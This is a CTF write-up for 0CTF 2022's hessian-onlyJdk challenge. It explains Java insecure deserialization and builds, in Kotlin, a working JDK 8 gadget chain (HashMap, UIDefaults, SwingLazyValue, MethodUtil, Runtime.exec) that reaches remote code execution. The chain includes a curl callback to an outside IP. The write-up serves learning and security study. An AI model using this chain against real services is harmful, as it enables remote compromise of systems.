0CTF 2022 - Java deserialization
I played 0ctf with Super Guesser and mainly focused on 4 web challs out of which I was able to solve 2 of them but couldnt solve the other 2 JAVA challs, so I thought this could be a good time to solve the leftover challs and learn JAVA alongside. This is writeup for hessian-onlyJdk
, this helps understanding java deserialization
hessian-onlyjdk
Introduction & Setup
We were given a java application (Source code attached) which takes user input as POST body and uses the hessian
Library to parse the POST Input. The Vulnerability was straight forward to discover from the source : Index.java
try {
final InputStream is = t.getRequestBody(); // `is` is POST body
final Hessian2Input input = new Hessian2Input(is);
input.readObject();
}
catch (Exception e) {
e.printStackTrace();
response = "oops! something is wrong";
}
here, input.readObject()
is vulnerable to Insecure deserialization and our goal was to find exploit(Java Gadget chain), send it as POST body and achieve RCE. We can try to use gadget chains from ysoserial and other places but none worked, so we will have to create our own gadget chain now.
Learning JAVA to find Gadget chain
First step was to understand how JAVA deserialization works. I came accorss this nice talk from blackhat
The basic idea of deserialization is follows:
The code
input.readObject()
means, whateverObject
we send in the POST body, it will deserialize it and next the code callsreadObject
magic method on it and we as attacker wanna make sure we achive rce when code calls this method. Now we cannot send any object ofcourse, the Object we are sending should exist in classPath of the running code. ClassPath is nothing but list of available classes.
Example, suppose there is a class myClass.java somewhere in the code like this
import java.io.ObjectInputStream;
import java.io.IOException;
import java.io.Serializable;
public class StartVuln {
Vulnclass m;
public void readObj(ObjectInputStream s) {
try {
m = (Vulnclass) s.readObject();
m.hax();
}catch (Exception e) {
System.out.println(e);
}
}
}
public class Vulnclass implements Serializable {
String cmd = "whoami";
public void hax() throws IOException {
System.out.println("Executing" + this.cmd.toString());
System.out.println(Runtime.getRuntime().exec(this.cmd));
}
}
Now if the main program either belongs to same package or the above class’s are included while running the JAVA application, we should be able to access the Class’s, otherwise we wont be able to access it. Lets say this class is included in classpath while runing the program like:
$ java -classpath=/path/to/above.jar -jar main.jar
we can create a payload like below to get RCE
package com.test;
import Vulnclass
import StartVuln
import org.joor.Reflect
import java.io.ByteArrayInputStream
import java.io.ByteArrayOutputStream
import java.io.ObjectInputStream
import java.io.ObjectOutputStream
fun main(args: Array<String>) {
println("Start")
var gadget = createGadget() // This is the main gadget
// Rest of the code below
// is just wrapper to convert the object to `objectInputStream`
var baos = ByteArrayOutputStream();
var oos = ObjectOutputStream(baos);
oos.writeObject(gadget);
oos.flush();
oos.close();
var byteArrayInputStream = ByteArrayInputStream(baos.toByteArray());
var objectInputStream = ObjectInputStream(byteArrayInputStream);
// Vulnerablity exploit start here
StartVuln().readObj(objectInputStream);
}
fun createGadget() : Any {
return Reflect.onClass("Vulnclass").create().set("cmd", "open /").get();
}
Since Vulnclass
has Serialiable implemented, we should be able to serialize this class. When any code runs readobject
on it, the code should be able to recover the Object of this class with instance variables(public/private) set to what we wanted it to be.
Finding Gadget chain to exploit Hessian Library
As seen above, now we know how to create Gadget chain , next step is to find which code to look the Gadget chain at. Like I said , all the Serializable
class’s accessible to the application are possible victim, this includes
Entire JAVA JDK
Classe’s in classpath’s included while running app (libraries, jar files etc.)
The application above uses quite few libraries and JDK version 1.8(also known as JDK 8) So our goal would be to find Gadget chain in them to achieve RCE.
Here’s the Gadget chain we will be using to attack (this is written in kotlin)
import sun.reflect.misc.MethodUtil // part of JDK 1.8
import java.lang.reflect.Method
private fun createGadget(): Any {
// reflection API uses slot to tell which function to call
var invokeSlot = 6
var execSlot = 17
val invokeMethod = MethodUtil::class.java.getMethod(
"invoke",
Method::class.java, Any::class.java, emptyArray<Any>().javaClass
).also { Reflect.on(it).set("slot", invokeSlot) }
val execMethod = Runtime::class.java.getMethod(
"exec",
String::class.java
).also { Reflect.on(it).set("slot", execSlot) }
val cmd = "curl http://192.168.29.80:1235"
val args = arrayOf<Any>(execMethod, Runtime.getRuntime() as Any, arrayOf<Any>(cmd))
val value = SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", arrayOf(invokeMethod, Any(), args))
// https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/swing/SwingLazyValue.java#L57 signature of SwingLazyValue
val u1 = UIDefaults().apply { put("_", value) }
val u2 = UIDefaults().apply { put("_", value) }
val hashMap = HashMap<Any, Any>()
val rNode = Reflect.onClass("java.util.HashMap\$Node")
val array = java.lang.reflect.Array.newInstance(rNode.get(), 2) // create Array of size 2 of type rnode(java.util.HashMap$Node)
java.lang.reflect.Array.set(array, 0, rNode.create(0, u1, null, null).get()) // set 0th index ,
java.lang.reflect.Array.set(array, 1, rNode.create(0, u2, null, null).get())// set 1st index
Reflect.on(hashMap).set("size", 2).set("table", array)
return hashMap
}
Lets decouple the chain shall we:
Part 1: getting the methods to execute
We will be using reflection in kotlin to get methods
val invokeMethod = MethodUtil::class.java.getMethod(
"invoke",
Method::class.java, Any::class.java, emptyArray<Any>().javaClass
).also { Reflect.on(it).set("slot", invokeSlot) }
// MethodUtil::class -> getting the runtime reference to a statically/known class
// .java is same as using getClass() on object to get the class info
// .getMethod("methodname", signature) is java reflection API to get the method
// signature of MethodUtil.invoke method :
// public static Object invoke(Method m, Object obj, Object[] params)
val execMethod = Runtime::class.java.getMethod(
"exec",
String::class.java
).also { Reflect.on(it).set("slot", execSlot) }
// same as Runtime.getClass().getMethod("exec", signature)
Part 2. Setting up command executing function which will get us RCE
Our goal is to call SwingLazyValue.createValue
since it has the following code:

It takes classname
, methodname
and string array
and execute m.invoke(c, args);
on it. we can set m
to be Runtime.exec
but for somereason that didnt work, so we have to wrap Runtime.exec
around another MethodUtil.invoke
like below
val cmd = "curl http://192.168.29.80:1235"
val args = arrayOf<Any>(execMethod, Runtime.getRuntime() as Any, arrayOf<Any>(cmd))
val value = SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", arrayOf(invokeMethod, Any(), args))
The above is same as
c = SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", [Method::Runtime.exec, Runtime.getRuntime(), ["curl site.com"]]);
Like in the pic above, now if we do c.createValue
, we will get command execution from the line m.invoke(c, args);
(m here is Methodutil, c is “invoke” and args is the [Runtime.exec, cmd])
Part 3: setting up chain to reach the reach the SwingLazyValue.createValue
function

Here we can see, the getFromHashTable
function of UIDefaults
class calls createValue
. The function get value by doing super.get(key)
and if the returned value is LazyValue(i.e Object), it just calls Object.createValue
on it, and that what we wanted, soo,
val myUiDefaultObject = UIDefaults().also { it.put("_", SwingLazyValue(...)) }
Now if in code there is a call to myUiDefaultObject.getFromHashtable("_")
, it will call (SwingLazyValue).createValue(this);
and we will get RCE. So we need a way to now call myUiDefaultObject.getFromHashtable
. Actually the function getFromHashtable
is called by .get
function of UIDefaults

We need to find a way to call UIDefaults.get("_")
. Now this definately looks achievable. Actually, if we wrap UIDefaults
object around HashMap
, when a HashMap
is deserialized, it calls .get
on each key
to check if key already exist in map or not. So now we just have to wrap the UIDefaults
Object around HashMap and it will call .get
on keys.
Here’s how .get
is called on hashmap
keys:
On deserialization, hashmap
calls readObject , this calls readObject
on keys & Values and does putVal

The putval
function calls key.equals(k)
(here key is Object of class UIDefaults):

The UIDefaults
class doesnt itself have equals
function but since it extends HashTable
, we can find the equals
function inside HashTable
class as below

we can see here it calls .get
on the key (ie UIDefaults). So the chain looks like
{
"UIDefaults::Object" : SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", [Method::Runtime.exec, Runtime.getRuntime(), ["curl site.com"]]),
"UIDefaults::Object" : SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", [Method::Runtime.exec, Runtime.getRuntime(), ["curl site.com"]]),
}
SUMMARY: When the hashmap is deserialized,
It will call
putVal(key, val)
IMP: key here is
UIDefaults
objectsince we have 2 keys, it will call putval for 1st key and then the 2nd key. While doing it for 2nd key, since the hashmap is not empty, it will check if the key aready exist or not by calling
key.equals(key2)
key.equals(k2)
callequals
method ofHashtable
class. TheHashtable
orUidefaults.equals()
callsUidefaults.get("_")
UiDefaults.get
callsgetFromHashtable
function on the value ofUiDefaults.get("_")
which is SwingLazyValue payload and thus gives us RCE.
Putting it all together in code:
val u1 = UIDefaults().also { it.put("_", value) }
val u2 = UIDefaults().also { it.put("_", value) }
val hashMap = HashMap<Any, Any>()
val rNode = Reflect.onClass("java.util.HashMap\$Node")
val array = java.lang.reflect.Array.newInstance(rNode.get(), 2) // create Array of size 2 of type rnode(java.util.HashMap$Node)
java.lang.reflect.Array.set(array, 0, rNode.create(0, u1, null, null).get()) // set 0th index ,
java.lang.reflect.Array.set(array, 1, rNode.create(0, u2, null, null).get())// set 1st index
// signature public static void set(Object array, int index, Object value)
Reflect.on(hashMap).set("size", 2).set("table", array)
return hashMap
This would be the complete chain. The hashMap object now obtained, if we call hashMap.readObj()
on it, the deserialization chain will start and we should get RCE.
Last updated